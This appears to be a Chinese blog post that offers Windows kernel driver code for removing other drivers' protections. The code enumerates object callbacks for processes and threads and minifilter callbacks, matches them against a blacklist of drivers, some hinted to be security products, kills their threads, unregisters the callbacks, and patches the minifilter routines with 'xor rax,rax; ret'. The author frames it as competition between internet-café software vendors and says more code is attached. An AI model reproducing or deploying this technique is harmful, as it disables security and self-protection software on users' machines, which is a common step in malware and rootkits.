| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 | //获取Ob回调地址并移除 POB_CALLBACK pObCallback = NULL; PVOID pObHandle[100] = { 0 }; int nObHandleCount = 0; //获取Ob回调地址并移除 for (``int i = 0; i < 2; i++) { ``LIST_ENTRY CallbackList; ``if (i==0) ``CallbackList = ((POBJECT_TYPE)(*PsProcessType))->CallbackList; ``else ``CallbackList = ((POBJECT_TYPE)(*PsThreadType))->CallbackList; ``// 开始遍历 ``pObCallback = (POB_CALLBACK)CallbackList.Flink; ``do ``{ ``if (FALSE == MmIsAddressValid(pObCallback)) ``{ ``break``; ``} ``if (NULL != pObCallback->ObHandle) ``{ ``// 显示 ``KdPrint((``"ObCallback = %p | ObHandle = %p | PreCall = %p | PostCall = %p\r\n"``, ``pObCallback, pObCallback->ObHandle, pObCallback->PreCall, pObCallback->PostCall)); ``PVOID pPreOrPostCall = pObCallback->PreCall ? pObCallback->PreCall : pObCallback->PostCall; ``if (pPreOrPostCall && MmIsAddressValid(pPreOrPostCall)) ``{ ``if (FindModuleByAddress(pSysModuleList, (``ULONG_PTR``)pPreOrPostCall, ``szDriverPath, &ulBase, &ulSize)) ``{ ``KdPrint((``"Driver is:%s\r\n"``, szDriverPath)); ``nKillOrSuspendThread = pnKillCallback = 0; ``if (IsBlackDriver(ulBase, ulSize, szDriverPath, &nKillOrSuspendThread, &pnKillCallback)) ``{ ``KdPrint((``"Check ObCallback IsBlackDriver:%s,base:0x%p,size::0x%p\r\n"``, ``szDriverPath, (``PVOID``)ulBase, (``PVOID``)ulSize)); ``if (nKillOrSuspendThread & NormalKill) ``KillDriverAllThreadByCallBack(pSysModuleList, pPreOrPostCall, szDriverPath); ``if (nKillOrSuspendThread & SpecialKill) ``//某清x卫士 ``KillDummyDriverAllThreadByCallBack(pSysModuleList, pPreOrPostCall, ``"pci.sys"``); ``if (nKillOrSuspendThread & AdxxObProtectKill) ``//某hunter ``KillAdHunterObProtectThread(ulBase, ulSize); ``if (MmIsAddressValid(pObCallback->ObHandle)) ``{ ``if (pnKillCallback & KillObCallback) ``{ ``if (nObHandleCount < ``sizeof``(pObHandle) / ``sizeof``(``PVOID``)) ``{ ``pObHandle[nObHandleCount] = pObCallback->ObHandle; ``nObHandleCount++; ``KdPrint((``"Remove ObCallback!\r\n"``)); ``} ``} ``} ``} ``} ``} ``} ``// 获取下一链表信息 ``pObCallback = (POB_CALLBACK)pObCallback->ListEntry.Flink; ``} ``while (CallbackList.Flink != (PLIST_ENTRY)pObCallback); } for (``int i=0;i< nObHandleCount;i++) { ``ObUnRegisterCallbacks(pObHandle[i]); } |

上面代码移除OB进线程保护,OB钩子详细解释去baidu吧:)

|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 | //minifilter钩子移除 ULONG ulFilterListSize = 0; PFLT_FILTER* ppFilterList = NULL; LONG lOperationsOffset = 0; PFLT_OPERATION_REGISTRATION pFltOperationRegistration = NULL; lOperationsOffset = GetMinifilterOperationsOffset(); if (0 == lOperationsOffset) { ``KdPrint((``"GetOperationsOffset Error\n"``)); ``ExFreePool(pSysModuleList); ``return``; } // 获取 Minifilter 过滤器Filter 的数量 FltEnumerateFilters(NULL, 0, &ulFilterListSize); ppFilterList = (PFLT_FILTER*)ExAllocatePoolWithTag(NonPagedPool, ``ulFilterListSize * ``sizeof``(PFLT_FILTER), ``'hwb'``); if (NULL == ppFilterList) { ``KdPrint((``"ExAllocatePoolWithTag Error!\n"``)); ``ExFreePool(pSysModuleList); ``return``; } // 获取 Minifilter 中所有过滤器Filter 的信息 status = FltEnumerateFilters(ppFilterList, ulFilterListSize, &ulFilterListSize); if (!NT_SUCCESS(status)) { ``KdPrint((``"FltEnumerateFilters Error![0x%X]\n"``, status)); ``ExFreePool(pSysModuleList); ``ExFreePool(ppFilterList); ``return``; } // 开始遍历 Minifilter 中各个过滤器Filter 的信息 __try { ``for (i = 0; i < (``int``)ulFilterListSize; i++) ``{ ``// 获取 PFLT_FILTER 中 Operations 成员地址。dt FltMgr!_FLT_FILTER ``pFltOperationRegistration = (PFLT_OPERATION_REGISTRATION)(*(``PVOID *)((``PUCHAR``)ppFilterList[i] + lOperationsOffset)); ``__try ``{ ``// 同一过滤器下的回调信息 ``//DbgPrint("-------------------------------------------------------------------------------\n"); ``while (IRP_MJ_OPERATION_END != pFltOperationRegistration->MajorFunction) ``{ ``{ ``PVOID pPreOrPostCall = pFltOperationRegistration->PreOperation ``? (``PVOID``)pFltOperationRegistration->PreOperation : ``(``PVOID``)pFltOperationRegistration->PostOperation; ``if (pPreOrPostCall && MmIsAddressValid(pPreOrPostCall)) ``{ ``KdPrint((``"minifilter函数地址:0x%p\r\n"``, pPreOrPostCall)); ``if (FindModuleByAddress(pSysModuleList, (``ULONG_PTR``)pPreOrPostCall, ``szDriverPath, &ulBase, &ulSize)) ``{ ``KdPrint((``"Driver is:%s\r\n"``, szDriverPath)); ``nKillOrSuspendThread = pnKillCallback = 0; ``if (IsBlackDriver(ulBase, ulSize, szDriverPath, &nKillOrSuspendThread, &pnKillCallback)) ``{ ``KdPrint((``"Check Minifilter IsBlackDriver:%s,base:0x%p,size::0x%p\r\n"``, ``szDriverPath, (``PVOID``)ulBase, (``PVOID``)ulSize)); ``if (nKillOrSuspendThread & NormalKill) ``KillDriverAllThreadByCallBack(pSysModuleList, pPreOrPostCall, szDriverPath); ``if (nKillOrSuspendThread & SpecialKill) ``//某清x卫士 ``KillDummyDriverAllThreadByCallBack(pSysModuleList, pPreOrPostCall, ``"pci.sys"``); ``if (pnKillCallback & KillMinifilter) ``{ ``//此方法摘除钩子后,钩子还可以正常使用,只不过PCHunter显示已经摘除 ``//pFltOperationRegistration->PreOperation = NULL; ``//pFltOperationRegistration->PostOperation = NULL; ``//Patch ``char szPatchCode[4] = { 0x48,0x31,0xc0,0xc3 }; ``//xor rax,rax; ret ``if (pFltOperationRegistration->PreOperation) ``SafeCopyMemory(pFltOperationRegistration->PreOperation, szPatchCode, 4); ``if (pFltOperationRegistration->PostOperation) ``SafeCopyMemory(pFltOperationRegistration->PostOperation, szPatchCode, 4); ``KdPrint((``"Remove FileNotify Success\r\n"``)); ``} ``} ``} ``} ``} ``// 获取下一个消息回调信息 ``pFltOperationRegistration = (PFLT_OPERATION_REGISTRATION)((``PUCHAR``)pFltOperationRegistration + ``sizeof``(FLT_OPERATION_REGISTRATION)); ``} ``//DbgPrint("-------------------------------------------------------------------------------\n"); ``} ``__except (EXCEPTION_EXECUTE_HANDLER) ``{ ``KdPrint((``"[2_EXCEPTION_EXECUTE_HANDLER]\n"``)); ``} ``FltObjectDereference(ppFilterList[i]); ``//记得一定要加此函数,否则卸载驱动会卡死 ``} } __except (EXCEPTION_EXECUTE_HANDLER) { ``KdPrint((``"[1_EXCEPTION_EXECUTE_HANDLER]\n"``)); } |

上述代码,先调用FltEnumerateFilters获取ppFilterList和ulFilterListSize,然后遍历Minifilter中各个过滤器Filter的信息,最后Patch。

总结:

虽然网吧业务竞争激烈,我们的软件仍然脱颖而出,成功对抗上十款竞品。相关代码已经给出,附件也有代码。

后面有时间,我还会发相关的帖子,比如怎么把对抗业务的防御更上一层楼,谢谢大家!

相关推荐
用户962377954485 天前
VulnHub DC-3 靶机渗透测试笔记
安全
叶落阁主6 天前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
用户962377954488 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机8 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机8 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954488 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star8 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954488 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher10 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行13 天前
网络安全总结
安全·web安全